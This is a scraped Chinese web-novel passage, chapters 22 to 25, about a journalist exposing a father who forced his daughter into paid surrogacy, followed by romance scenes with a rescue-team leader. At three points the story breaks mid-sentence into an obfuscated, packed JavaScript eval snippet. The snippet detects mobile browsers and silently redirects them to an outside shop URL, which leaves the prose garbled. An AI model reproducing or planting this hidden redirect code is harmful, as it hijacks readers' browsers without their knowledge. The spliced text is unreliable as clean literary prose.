琳琳爸眉飞色舞:“年头真是好了,现在生娃都能赚钱了。” “啥?咋赚?” 琳琳爸看着她,对她露出了这么多年来的第一个笑容:“咱们琳琳也这么大了,是时候回报了……” 她在明白了他言下之意的瞬间,猛然瞪大了眼睛! 这是要卖掉她亲闺女的清白,去买别人家的儿子! 后面的记忆都不清晰了,琳琳妈只记得自己对丈夫又踢又打,尖叫着去撕咬、伸长了胳膊想去挖他的眼。 然而一切都没有用。 琳琳爸两个耳光就把她扇得眼冒金星,嘴里血腥味一片,还掉了两颗牙齿。 她瘫软地靠坐在墙角,在嗡然的耳鸣中愤恨地想,打死我吧,打死我就不用再听这些恶心的烂糟事。 最好就跟他一起烂在这里…… 这时候,门却忽地被推开,外面轩朗的日光一下子涌进来,照得她睁不开眼。 “妈?” 22. 第 22 章 琳琳就这样被关了起来。 接着就是各种“医生”“经理”“专家”不停不停的游说,有上门的,有电话的,有视频的,见了她才有饭吃,听了她才有水喝。 到最后,她竟然真的觉得,不过是用一下肚子,就用一下而已。 但不知为什么,她一直没有下定决心点头,哪怕她再努力地劝自己,这只是为了报答父亲养大她的恩情,她也还是没有办法答应。 直到有一天,父亲放她出来,她看见了被打得不成人形的母亲。 母亲拖着一条瘸腿,一只眼睛黑紫地肿着,嘴角裂得仿佛长不住了似的。 她用仅剩的一只能睁开的眼睛看着琳琳,面色平静地对她说:“女儿,你可怜可怜妈妈。” 琳琳心里最后一道摇摇欲坠的防线,终于轰然倒塌。 后面的事情就顺理成章了。 她的价格,是正正好好的二十万。 她的声音越来越低,仿佛每一个字都从伤口中被拉扯出来。听到最后,连齐寻都有点听不下去了。 “他人呢?”他问。 琳琳妈似乎猛地从噩梦里醒过来,忌惮地问:“你想干什么?” “不想干什么,”齐寻道:“没事,来日方长。” “你们不要去找他的麻烦……”琳琳妈哭求着:“没了男人,这日子还怎么过?” 黎叙闻深深吸了口气,勉强咽下难听的话:“你现在这也叫过日子吗?有了男孩你们是不是还要养,还要让他上学,还要攒钱给他娶媳妇?” 琳琳妈低着头躲闪开眼神,不说话。 手里的收音设备还在运转。 黎叙闻知道,还缺一句最关键的话,整件事才算完成闭环。 可她眉目垂敛着,喉头咽动,怎么都问不出口。 沉默许久,她终于带着紧绷的克制问:“哪来的钱?” 一声呜咽融化在黑暗里。 “一个也是生,几个都是生,反正身子已经脏了……” 黎叙闻痛苦地闭上眼睛。 这种事情,真的能白纸黑字写出来,挂在报道里公之于众吗? 黑暗中响起窸窣的声音,琳琳妈慢慢走到门口打开门,外面渐冷的夜色猛地了涌进来。 “你们快走吧,”她眉间浮起急切神色:“她爸马上就……” 齐寻立在门后,手臂一撑,门板原路关上。 啪地一声,屋里摆设一样的白炽灯亮起来,刺得琳琳妈眯着眼抬手遮挡。 他冲黎叙闻一扬下巴:“还想采吗?你别管别的,想采就等人回来。” 黎叙闻静默了一会儿,站起来道:“算了,我们能一走了之,她还要过日子的。” 对她来说,这个真相已经很足够了。 剩下的就等琳琳爸伏法认罪的时候,再给他一个说话的机会吧。 老旧门板在他们身后迫不及待拍上,门缝里晦涩的灯光瞬间消失。 这间屋子又恢复了他们到来之前的了无生气,像遗址一样惨淡地立在间或有犬吠响起的沉默的夜里。 黎叙闻默然地回头看了一眼:“走吧。” 直到坐上副驾,整个身体陷入座椅的承托,她才真正放松了下来。 齐寻开了瓶水放进她手里,见她小口小口喝了,才发动了车。 吉普车厚重的轮胎在土路上抛起飞扬的尘土,车身打了个晃,攀上了平直的柏油路。 车里一时无话,仿佛陷入了某种流动不能的凝滞。 黎叙闻望着窗外,苍野在夜色中轮廓模糊。 “以前我总是想,我要是有自己的独家就好了。” 她说得很慢:“但现在我发现,独家又怎么样,我能做什么呢……她的人生都已经是这样了。” 车窗外不断掠过墨迹一样的树和村落,漆黑地洇成一团。 “我在想,走到这一步,我是不是该放弃了。” 齐寻默然地开车,眼神地停在车前被大灯照亮的那一小片路上。 马路两旁寂静无人,一辆车也没有。 世界安静得像只有他们俩。 过了许久,他终于开口,道:“救援时我也退过一次。” 他的声音很沉很静,沉甸甸地拉着黎叙闻一起下坠:“泥石流的某个塌房点,我们知道下面有人,救援方案都做好了,但那时候,我听到了远处传来一阵特别响的轰鸣声,那是上游的泥石流正赶过来的声音。” “我们十几个人已经人困马乏,我没办法,只能让大家全部撤到高处,暂时放弃救援。等后来我们再回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816615|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,那里已经连下脚的地方都没有了。” 黎叙闻听他说着这段过往,呼吸都凝住了,盯着他紧绷的下颌,一个字都说不出来。 “到现在我还经常会想,如果我动作快一点,再坚定一点,会不会既不用损兵折将,又能人救出来?” 齐寻语气仍是平淡,可一次都没有转过脸来看她。 “往前一步,可能有人就再也不回来了,后退一步,它就会像一块疤一样,时时提醒你这个‘如果’。” 黎叙闻安静地听完,一言不发地低下头。 她打开车窗,鼓噪的夜风一下子流进车里,拨乱了她的头发。 窗外沉黑的树张牙舞爪印在蓝黑色的天空下,从她身边飞过。 她盯着飞快倒退的影子看了很久,道:“下次你就别来了。” 齐寻回头看了她一眼,鼻息带出哼笑:“过河拆桥?” 黎叙闻没有反驳,她望着窗外,轻轻道:“齐寻,我后悔了。” “我不该把你拉进来。”她声音有点哑:“我本来以为这只是一场交易,但我现在觉得,让你看见这些,听见这些,对你太不公平了。” “背着那么多‘如果’,你已经……够辛苦了。” 齐寻虚搭在方向盘上的手猛地一蜷,指尖突然跟着心脏,重重搏动起来。 身体的深处有什么东西骤然融化,几乎在一瞬间,将他所有防御全部淹没了。 等他终于浑身紧绷地看向她时,车灯正好切过路边的反光路牌。 明亮柔和的光在她脸上轻轻划过,点亮了她上挑的眼尾。 也点亮了他心里某个昏暗的角落。 这个世界上,有人羡慕他年少有为,有人敬佩他奋不顾身,他们对着他的光环鼓掌赞叹,却从看不见背后的人。 在意他的人早就不在了。 而在这个夜晚,有一撮小小的、泛着冷光的火苗,又落进那一片废墟里,将他遗落在里面的渴望,照得鲜明透亮。 这感觉太陌生了,陌生到即便捧在手心,他都犹豫着不敢认。 很久很久,他都没说出话来。 不妙的是,在这个前不着村后不着店的荒郊野外,他再一次听到了随风而起的风铃声。 这次真的没招了,他想。 23. 第 23 章 京屿城郊。 “听岚水岸”地处偏远,但胜在依山势而建,游园式景观一步一景,很有些时下风行的“隐贵感”,住户多是有头有脸的人物,外观设计得也埒材角妙、各有千秋。 可里面唯有一栋,别说外观,整栋房子都维持着毛坯房时期的风格,连入户门都还是当初建筑商配套安的,跟低调奢华的周围邻居一对比,显得特别阴森寒酸。 齐寻还在车上就听见节奏感极强的鼓点,把车窗都震得簌簌发响。 他把车停在这栋毛坯房门口,下车随手一拉门,没锁。 正在里面开着重金属蹦迪的小熊,在看见齐寻推开门的一刹那,发出了不输音响的尖锐爆鸣。 齐寻黑着脸,一句话都没说,指了指角落里咣咣震动的音响。 小熊一猛子扎过去飞速关掉,脸上笑容极为狗腿:“哥,你咋回来了?” “我不回来难道去睡大街?”齐寻径直走到窗边的木凳旁坐下:“你要是再在我家里听这种心脏起搏器,我就把你铺盖卷扔出去。” 屋里跟屋外的风格一脉相承,主打一个原生态,灰扑扑的水泥墙水泥地,别说硬装,就连沙发也没有一张。 小熊从客厅唯一的家具——一只细脚嶙峋小桌上拿了杯子,给他倒了水,上赶着过去套话:“我听说你跟人领证啦?阿咩说你老婆都追你追到救援队去了,咋这样,她都见过了,说闻闻姐又漂亮人又好,我咋没见着?” 齐寻正靠着窗台闭目养神,闻言立刻睁开眼:“谁说的?老纪?” 小熊摸摸鼻子:“他本来是来警告我们,让我们别在队里其他人面前胡说八道,影响嫂子工作……我们本来不知道,这下子全知道了。” “嫂子”两个字让齐寻恍然了一瞬。 之前没找到人时,大家调侃起哄,也把他的“文文”喊嫂子,说到时候他们齐队长就归隐田园,为人家洗手作羹汤。 齐寻从来都听得面无表情,心里没丝毫波动,只觉得这帮崽子嘴碎得令人心烦。 他这一池春水,今天终于被这两个字吹皱了。 齐寻清了清嗓子,低着头想,事情不该是这样的。 他没想能跟她再有什么纠葛,什么归隐田园、以身相许,更是外人的一句玩笑。 能知道她过得很好、做着自己想做的事,能像现在这样在她需要时托她一把,就已经非常圆满了。 至于其他的,他想都没敢想过。 如果闻闻知道是谁,她一定会想起他是什么样的人,到时候别说今天那种让他心动的眼神,她肯定连看都不想看他一眼。 他厌弃自己,但不想被她厌弃。 如果可以,他愿意给那个人赔命。 但他不能听见闻闻的质问,更不能忍受在她心里彻底沦为一个垃圾。 齐寻把凳子踢到一边,索性躺在地上,小臂压住眉眼,深深出了口气。 小熊坐在他身边,伸长了脚去勾他:“你还没说呢,你怎么还回这住啊,新婚燕尔的,咋还分居了?” 说罢转念一想,又恍然大悟:“哦,嫂子家住的是楼房吧。你没跟她说吗?” 跟齐寻出过救援任务的人都知道,他住不了楼房,两层已经是极限,只要是两层以上、外面有楼梯的地方,他都难以成眠。 另外,他睡觉的时候,身边必须有声音,人声也好,音乐也罢,不能停,只要一停他立刻就醒,比闹钟还准。 他受不了安静。 归根结底,还是十年前的那个夜晚太寂静,寂静到十年后的今天,它依旧没有过去。 齐寻躺着一动不动:“她没必要知道。” “不是……”小熊傻眼了:“你们以后都不住一起吗?她不知道你是谁啊?” “不住,不知道,再问滚蛋。” 小熊坐在他旁边的水泥地上,终于消停了。 可他天生话就多,没几分钟,又嘿嘿一声:“哥,我真心为你高兴,真的。大家都说,一定让你带嫂子来吃顿饭,就我们几个,让咱们好好见见,以后在微光,也好照顾她。” 齐寻拒绝的话都到嘴边了,可脑子慢了半拍,死活找不到一个合适的理由。 也不知是真的脑子转不动,还是他也想她来。 最后只能欲盖弥彰地起身换了音乐:“……嗯,我问问。” 小熊在古典钢琴曲中呜呜哇哇地叫了一阵好,在群里跟大家报了喜,坐在他身边安静地拍了一会儿肚皮,才慢慢地说:“今天家里来电话,说最后一笔钱收到了。” “嗯。” “从此以后,我们家就不欠别人了。” “嗯。” “哥,”小熊哽咽了一瞬:“我一定会努力,早点还给你的。” 齐寻笑了一声:“废话你当然得还,明天就给我滚去学手艺挣钱。” 小熊抬头看着房顶一根电线吊下来的白炽灯泡:“要不我去学装修吧,你这房子我给你装,到时候你把嫂子带回来,你们俩就在这,好好过日子。” 齐寻在灯泡刺眼简陋的光里睁开眼睛,盯着门口门铃处裸露的电线看了一会儿。 “……再说吧。” 几天后,黎叙闻收到确认聚餐时间的信息时,正在去心理咨询的路上。 在A国读书时,钟郁青怕她步黎策后尘,给她找了资深心理咨询师,后来那老爷子退休,就让他的得意大弟子林青淮承接了她这个个案。 最让黎叙闻不能理解的是,研究生毕业后她决定回国,林青淮竟然也一起跟回来了! 问就是觉得国内心理咨询是一片蓝海,在这里能大展拳脚。 虽然黎叙闻一直抗拒接受自己跟黎策一样,但不得不承认,有这样一个专业而耐心的人站在她身后,她的确更有底气。 从她上大学到今天,两人已经合作了六年。林青淮可以说是世界上最了解她的人,甚至比她自己还要了解她。 黎叙闻顺手回复了齐寻的消息,一边发了定位约好时间,一边穿过话剧中心无灯的走廊,在某个小门处往里一拐,里面别有洞天。 宽敞温馨的机构大厅藏在不起眼的小门背后,门口早有人在等她。 ——一个戴着金丝框镜,见人先露三分温润笑意,开口总是低头浅笑,一双桃花眼请奇怪一扫,立刻能摸清来人意图的斯文败类。 咨询室内光线柔和,空调温度早按照她的习惯调整得宜,两套相对而卧的沙发宽大柔软,一张黑色皮质诊疗椅靠着窗子,闪烁着柔润的光泽。 林青淮手里拿着一个笔记垫板,一身浅灰色休闲西装,微笑着坐在她对面:“叙闻,你好。” 黎叙闻放松地靠坐在沙发上:“好久不见了。” 林青淮低头写了两个字,而后一言不发,眼神专注地望着她。 桌上的座钟片刻不停,针尖无声地一路向前奔涌,黎叙闻定了定神,小心地跟林青淮说起了琳琳。 当故事落下最后一个尾音,黎叙闻惊觉脸上冰凉,随手一抹,竟然满脸都是泪。 她拭去泪水,捂着眼睛:“见笑了。” 林青淮没有第一时间回答,而是微微眯起眼睛。 许久之后,他才轻声开口。 他说得尽量慢,尽量委婉:“一个父亲,借由女儿的身体,实现他自己一直以来的夙愿,而这个夙愿,原本跟女儿无关。那是一种入侵式的植入……” 他一瞬不瞬地观察着她的表情,问:“这让你想起了什么?” 黎叙闻呆若木鸡地看着他,听到最后,后脑忽然嗡地一声,麻成一片。 黎叙闻想起了什么,林青淮再清楚不过。 家族遗传性创伤应激易感,她本该远离一切会引起创伤的场景,可她偏偏继承了父亲的志向。 但没有一件事不需要代价,要照亮暗处,就要有人身为蜡炬,要解决不公,就得有人躬身填平。 或许世上真的有人意志坚定,天生就为了呐喊而生,但那个人不应该是她。 黎叙闻只愣了片刻,在明白了他的意图后,瞬间沉下脸色:“你错了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822487|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她一把丢掉捏在手里的纸巾:“我爸没有强迫过我,没有给我植入任何所谓的志向,今天的一切都是我自己的选择。 林青淮照单全收了她的怒火,神色依然平静如水:“我的工作不是跟你争对错,而是理解你,仅此而已。” “你要是理解我,就不该这么久了,还对我做调查记者这件事紧咬不放。”黎叙闻冷笑:“你做的只是理解吗,还是跟我妈一样,就是想控制我?” 林青淮温和地注视她:“叙闻,停止你的投射,我不是你妈妈。” 黎叙闻笑了一声,拉长了声音:“对,您是全世界最——懂我的人。” 外面也许刚刚散场,窗外逐渐掀起了熙攘的人声。 高高低低的笑语蓄意似地,遮掩了这一阵剑拔弩张的沉默。 “啊,忘了说,”黎叙闻眉眼蔫坏地一弯:“我结婚了。” 林青淮手里的笔陡然一滑,在垫板上划出一道狂野的曲线。 他难得茫然抬头,金丝框镜恰逢其时地反了一道光:“什么?” 黎叙闻忍俊不禁:“怎么,很惊讶吗?你不是全世界最了解我的人吗?” 林青淮盯着她的眼睛,想从里面看出一丝别的东西。 或者是开玩笑的恶劣,又或者是讥笑的嘲讽,什么都好…… 然而他定定望了几秒,却一无所获。 在沉默的时间超出正常范围之前,他终于开口:“确实意外,恭喜。” 他花了两秒整理纷乱的思绪,慢慢按动了一下圆珠笔:“亲密关系对你来说确实有好处,它……”他顿了顿:“有利于消解你的负面情绪和精神紧张。” “可是我不希望成为他的负担。”黎叙闻敛起笑容,问:“有没有什么方法可以让他不要卷进来?” 林青淮啪一声合上垫板,眸光沉沉:“这不叫‘卷进来’,这原本就是亲密关系的功能之一,如果他做不到,那只能证明对方不称职,或者至少,他不适合你。” 黎叙闻笑了一声:“他不是做不到,他就是做得太好了,所以我才担心。” 林青淮没回答,盯着笔记上“结婚”两个字若有所思地看了一阵,忽然听黎叙闻道:“林青淮?” “嗯?” 黎叙闻笑着指座钟,上面的时间已经走过一小时:“时间到了,这回你怎么没发现?” 超时完全是咨询师的责任,林青淮眉心一皱,道:“是我疏忽了,抱歉。那我们……下次见。” 夏日白昼漫长,潮湿的空气蒸腾着向上盘桓。 整个京屿像被关在严丝合缝的蒸笼里,树叶都被蒸得直打蔫。 齐寻把车停在话剧中心的树荫下,打开车窗通风,又把车里空调开到最大。 周末的话剧中心很是喧闹,人群三三两两从大门中涌出,喧嚣声夹杂着笑语,冲进大开的车窗里。 齐寻循声往去,目光先是一滞,然后慢慢扬起了眉头。 他看见黎叙闻身边跟着一个男人,随着人群从里面走出来。 她今天似乎着意打扮过,连衣短裙将她的曲线勾勒得恰到好处,神色自然,表情放松,眉间缀着一点将去未去的笑意。 而她身旁的男人身量颀长,气质温文尔雅,金丝框镜俘获了一丝耀眼的光,将他的俊秀面容整个点亮了。 他侧头看着她,满眼温柔。 这两人站在一起,任谁看都是相衬的一对。 齐寻怔怔地看了一会儿,忽然收回视线,摇上了车窗。 他想起相亲那天,自己那句不合时宜的盘问:“是不是有其他不能公开的对象?” 当时只觉得她答得含糊不爽利,现在看来,每一个字都像是在印证眼前的画面。 ——即使是为了采访,她也舍不得利用真正喜欢的人,这才找了他这个工具人。 而他甚至因为能当她的工具而感恩戴德。 手中的手机亮着,页面正停在今日话剧内容简介的搜索页上。 他垂眸定定看了几秒,关掉了网页。 24. 第 24 章 他垂着眼睛发呆的这半分钟里,世界好像格外安静。 直到副驾的门一开一合,街声跟着那个人身上冷冽的水香一起拍向他,齐寻才抬起眼,打火,给油,打方向,一气呵成,驶离了这寂静得有些窒闷的角落。 一眼都没回头看她。 黎叙闻顾自打的招呼就这么茫茫然地落了地。 她觉得奇怪,转头看到他眉心浮着疙瘩,便问:“有心事?” 齐寻拧着的眉头蓦地舒展,强迫似地缓了缓面色:“没有,没睡好。” 黎叙闻凝视他两秒,哦了声,不说话了。 他没睡好的样子她见过。 领证前一天,他到家已是后半夜,早上买了戒指,又收拾停当在她家楼下等,即便这样,他也只是眉间缀了点淡淡的倦意。 远不是这种灵魂出窍的模样。 她想追问,话到嘴边,又觉得这不是她该问的事,便只能抿了抿嘴,一同沉默下来。 说来也怪,那天领证路上她对人家贴脸开大,上来就问是不是一见钟情,现在两人一起经历了这么多事,一句藏着关切的调侃,她却说不出口了。 一路将京屿的高楼大厦和光污染一起远远抛在身后,城郊比市区凉快得多。 高速路两边密林繁盛,带着水润气息的空气从车窗外漫卷而来,稍稍吹散了弥漫在两人之间的各怀心思 齐寻视线在后视镜上掠过,微妙地咽了咽:“你常看话剧么?” 黎叙闻怔了片刻,本能地言不由衷:“……哦,是啊。” 总不能说她是去看心理医生的吧? 她心虚地撇开眼睛,假意去看身侧与她擦肩而过的街景。 ……说点什么啊,太尴尬了…… 啊对,正事,还有正事。 她抿了抿唇,伸手翻下遮阳板,对着镜子检查了下妆容:“要对一下词吗?” “什么词?” 黎叙闻补了一遍口红:“比如我们是怎么认识的,为什么闪婚,见过父母没有,这些细节。” 她啪一声扣上遮阳板:“细节决定成败。” 齐寻视线不偏不倚落在车前:“不用,记得我们的共识就行。” 声音是显而易见的心不在焉。 黎叙闻一下没反应过来:“什么共识?” “结婚是假的。” 他终于转过头,定定地看着她,嗓音在发紧:“不用说多余的话,不用做多余的事,维持好表面的关系就行。” 黎叙闻盯着他沉黑的眼,实在没法分出视线,去发现他藏在方向盘后的,因用力而发白的指尖。 他在用力地藏。 藏起自己那点上不得台面的莫名嫉妒——嫉妒她跟别人在一起时真实而幸福,转头跟他就要处处设计。 这句话每个字都带着刺,黎叙闻莫名地皱眉看了他一阵:“齐寻,你是觉得我越界了,是吗?” “不是。” “那是什么?” “……是我越界了。” 黎叙闻额角一跳。 他这样后撤,她一点都不惊讶,毕竟这些天,她已经翻来覆去后悔过太多次。 明明暗访已经接近尾声,到时候少不了一拍两散,那天她为什么偏就忍不住,非要说出那么没分寸的话? 说到底,是她太高估自己的定力。 她双臂抱在胸前,下巴轻点:“行,我懂了。” 车在一片刻意的静默里驶上市区环线,身侧的围栏在车窗玻璃上投下跳跃的影子,映在她眼前,像往前飞奔的琴键。 沉默粘稠而胶着,他们两只误入其中的飞蛾,安静地被它捕获 可谁都没有往回撤。 等到天边徘徊的云影镀上粉色的边,才有人终于挣破了这层琥珀。 齐寻不甘似地舔了下嘴唇:“……你要是不想去,现在还来得及调头。” 回应来得晚了两秒,他的心也跟着提了两秒。 黎叙闻唇角抿得平直,比平时还掷地有声,也不知在说给谁听:“我现在是微光的志愿者,今天要见的人不止是你的朋友,也是我将来要共事的伙伴。” “不管到时候你怎么介绍我,我今天都去定了。” 说完她轻哼了下,转脸去看远处天空铺展开的橘色夕阳,看也不看他了。 齐寻平淡地哦了一声,开了音乐面无表情地继续开车。 直到歌单播到第二首,他才很浅很浅地扬了扬唇角。 微光救援队在京屿有上千名队员,齐寻作为副队长,相熟的成员也不过二十几个。 但这二十几人,每个都在救援中跟着齐寻几次出生入死,都跟他有不菲的交情。 ……都知道他有个找了十年的白月光。 为了让大家尽情闹,齐寻特地包了两套山景小院,正好避开京屿的桑拿天,来郊区山间偷一抹凉。 黎叙闻和齐寻驱车赶到时,天已经微微擦黑。 远处群山苍翠地绵延勾连,两间小院被抱在山间,热闹的喧哗和亮起的暖灯,点染了温暖的一隅。 这个点大家都到了,小熊里里外外张罗好一切,早在门口翘首以盼,见那辆熟悉的牧马人从盘山公路上驶来,喜上眉梢地通报:“哎哎,来了来了!” 于是两人一下车,就见门口站了黑压压的一片人,顶着院门里星星一样的温黄灯泡,齐齐望着他们笑。 有人挤眉弄眼:“副队,这谁啊?” 黎叙闻脸上笑意不减,垂在身侧的手指在热络的起哄声中微微一蜷。 她也想知道,齐寻会怎么介绍她。 齐寻面色不改,一只手自然地搭上她的肩膀,介绍的话却在出口的一瞬间,磕了一个微妙的停顿。 “这位是,”他侧脸僵硬得如同雕像:“我的妻子,黎叙闻。” 大家又掀起一阵善意的哄笑,黎叙闻也笑着看向他,却在无人注意的地方微微眯了眼。 在这种非正式场合,谁会把自己的老婆叫作“妻子”? 这撇清关系的两个字,虽然离谱,但是好用。 她在众人的视线死角里,轻轻地冷哼了一声。 说话间大家就将她簇拥着向餐厅走,阿咩更是亲亲热热地挽住她的胳膊,说准备了好多好吃的。 齐寻落后一步,慢慢跟在后面,想着这一出总算过去了,不由松了口气。 谁料这时黎叙闻忽然回头,在一片模糊的人声背景和暖黄灯光中冲着他笑。 那笑意别有用心,却盖不住的明艳张扬: “快点啊,丈夫。” 清润微风吹来山间醉意,一群人酒酣饭足时,一些不该有的好奇心,便悄悄冒了头。 “闻闻在商报工作啊?” 黎叙闻也喝了几杯,双眸带水:“对。” “商报好啊,我几回路过都看到你们那大牌子,那气派的!”那人说着,忽然意识到什么:“诶,那你们住哪啊?那附近……好像没他能住的地方吧?” 猝不及防被抛了个问题,黎叙闻立刻意识到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827739|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拼演技的时候到了。 她笑着点头:“我们住他家。” 这句话一出,整桌人都为之一静。 齐寻听到这个问题就觉得不对,伸手要去拉她,却还是慢了半拍。 听见这四个字,桌下的手滞在空中,进也不是,退也不是。 阿咩第一个犹豫着开口:“闻姐,他那个房子……你真受得了啊?” 黎叙闻无知无觉:“为什么受不了?他喜欢就……” 最后一个“好”字卡在半空,她的手腕骤然被身边人握住,紧接着手背传来两下暗示性的摩挲。 小臂汗毛根根炸起,她猛然住口,但已经来不及了。 刚刚喝得五迷三道的队友们登时都醒了,看向她的目光一道比一道惊异,还带着点怪异的探究。 这眼神她熟悉——暗访时一个不注意聊爆了,对方就是这种怀疑但欲言又止的表情。 哪里不对?新婚夫妇住一起不对?跟着齐寻住他家里不对?还是……还是他喜欢就好不对? 她还没想明白,桌下握着她手腕的力道陡然一紧。 “还是得你喜欢,”齐寻面不改色,抬手给她夹菜:“跟着我搬那么远,花那么多时间才选到合心意的地方,委屈你了。” 其余人不明所以,面面相觑,但一直赖在齐寻毛坯房里的小熊可是门儿清。 他如梦初醒般拍了下脑袋:“嗐,忘了跟你们说,白蛇专门出去租了套小院子。他那破毛坯房,都是我在住呢。” 众人吃瓜不成,被猛塞了口狗粮,呸呸呸地笑骂他们副队老树开花一鸣惊人,恶心死人了,必须自罚十杯谢罪。 齐寻无奈地喝了,总算把这篇给揭了过去。 黎叙闻看着他一杯一杯往下灌,被这插曲吓得酒都醒了。 一线薄薄的疑心在她纷乱又庆幸的思绪了闪了闪:毛坯房?什么毛坯房? 她视线太热,看得齐寻压低了声音,在她耳边警告:“不该琢磨的别琢磨,少喝酒,专心吃饭。” 好机会! “那晚了,已经喝多了。”她偏头托腮,对他潋滟一笑:“老公,什么时候带我回你家看看?” 齐寻:……………… 两人坐得极近,影子交叠着投在桌上,亲密无间。 而她的笑意在一片混沌的柔光里,照得他无所遁形。 齐寻眸光一闪,视线却被牢牢锁在她晃着笑意的眼底,停了半晌才道:“他们瞎说的,就是普通的地方,没什么特别。” “那就更该去看看,要是下次再这样,谁来给你圆?” 黎叙闻报复他在车上的退缩,现在非揪住他这个小辫子不放,坏心眼地附上他耳际,唇边若有似无擦过他的耳垂:“一个谎言,要用一百个去圆的。” 带着酒气的丝丝热意霎时攀上耳廓,齐寻眼眶一紧,感觉小腹奇怪地一抽。 他绷紧了身体才没有立时弹开:“……不必了,我会跟他们解释。” 黎叙闻得逞似地笑了一声,小臂架上他宽阔肩膀,肌肤贴着他侧颈。 齐寻本能地想躲,却听见她笑言:“不要动,会露馅的。” 她露出一个看似真诚,实则挑衅的微笑:“我们新婚燕尔,应该怎么腻都腻不够。” 那块肌肤带着夜间清冷的凉意,烙在他酒后灼热的皮肤上,却烧滚了动脉里的血液,从喉头一路燎到下腹。 他咬紧后槽牙,无声深吸一次,霍然起身:“谁还有酒?”顿了顿,又补:“冰的!” 25. 第 25 章 山间幽静,更显得这一方小院烟火气十足。 酒酣饭酽之际,有人在明月清风下,弹起一首悠扬轻快的歌。 清朗星空下,喧闹声渐冷渐薄,剥去了觥筹交错的表面热闹后,最宜交心。 “马上汛期了,”纪士诚坐在露台一角,一边抽烟一边对齐寻道:“这段时间估计要随时待命,你那边要有事走不开,今年防汛就别来了。” 齐寻手臂松松搭在栏杆边缘:“我没事,倒是你,不行就别勉强。” 纪士诚在缭绕烟雾后静了一瞬,笑道:“这话有歧义。” 纪队长之所以会加入微光,就是因为多年前京屿的一场特大暴雨引发了洪水,受困数日后他被微光所救,而他的妻子却永远长眠在了那个绵延不绝的雨天。 但很多年过去,他从不避讳跟大家提起亡妻,大家从一开始的小心翼翼,也渐渐变得大方坦然。 可齐寻知道,每到夏季汛期,纪士诚每天都能抽掉一包烟。 “我说真的,”纪士诚硬邦邦地转移话题:“留我一个调配就行,你好好陪家里。” 他意有所指:“这不是新婚燕尔,正关键呢。” 齐寻仰头望星空,想起下午在话剧中心门口,看见黎叙闻笑语晏晏地跟另一个男人并肩走出大门的场景。 “不用。” 纪士诚皱眉看他:“好不容易找到人,好好过日子成不成?”他指尖星火明灭一瞬:“出勤没有不危险的,你的小命留着,报你的恩,得跟人家过一辈子呢。” “能怎么留,难不成我还要退出微光?” 纪士诚说着说着动了脾气:“你这样次次救援都不要命,到时候再弄得闻闻给你当未亡人……那日子不好过,我有发言权。” 他后面说了些什么,齐寻已经有些听不清了。 他的目光空远地抛向远处月色下渐冷的浅山,想,一辈子啊…… 多遥远的词。 他神思一晃,想到的却是那句话—— “背着那么多‘如果’,你已经够辛苦了。” 那时候划过的灯牌反光,在她眸底投下一片璀璨星河。 被倒映在那样一双眼睛里,他竟然也觉得自己珍贵。 可她的心里,早就填满了另外一个人——让他整个世界为之一亮的光彩,也是他无耻地偷来的。 又一次。 齐寻视线一垂,不做声了。 纪士诚还想说什么,余光一斜,瞄到从屋里出来的窈窕人影,笑道:“说人人到,行了,正主儿来了。” 入夜后山中寂静,野风绕过无声颤动的枝丫,送来山谷里声声可闻的虫鸣。 于是身后带着醉意的喧嚷人声愈加清晰。 “你说白蛇为什么不跟她讲实话啊?明明……” “哎谁知道了,有这么个人能让他放下念想,也不错了。” 只来得及听了这么两句,更远处的吆喝声传来,两个声音低声说着别的,慢慢离开了。 留黎叙闻一个人隐在暗处,仰头对着漫天星辰发呆。 她好像……犯了一个错误。 暗访时齐寻对她的保护和默契,让她误以为他们已经亲密无间,还有拓着钢印的结婚证,她竟短暂地沉湎于她亲手缔造的假象里。 今天来聚会她才猛然惊醒。 他们不过是合作关系,他和偶尔跟着她出门采新闻的摄像大哥没什么不同。 所以他有那么多不想说、不想示于她的私事,也很正当吧,毕竟这样的两个人,实在不必做到坦诚。 那是真伴侣才有的义务。 心中杂念太喧嚣,她没有听见露台的另一边,有人放轻了脚步向她走来,生怕搅扰了她的沉思。 风贴着她的耳廓倏忽而过,她抬手去理飞扬的鬓发,一下秒,腕间却忽然爬上另一个人灼热的体温。 她猛地回头,见自己小臂上停着一只青筋凸起的手,像担心弄疼她,只虚虚环住那一截洒了月光的皓腕。 她心脏紧缩一瞬,小臂跟着颤动一下,一时却忘了挣开。 “别动。” 他说话时胸腔微微震动,扰动两人之间的空气,弹动得黎叙闻耳垂一软。 她吊在半空中的指尖惊怯似地,微不可查地收了收。 齐寻对这反应浑然不觉,反而低头去看她小臂内侧。 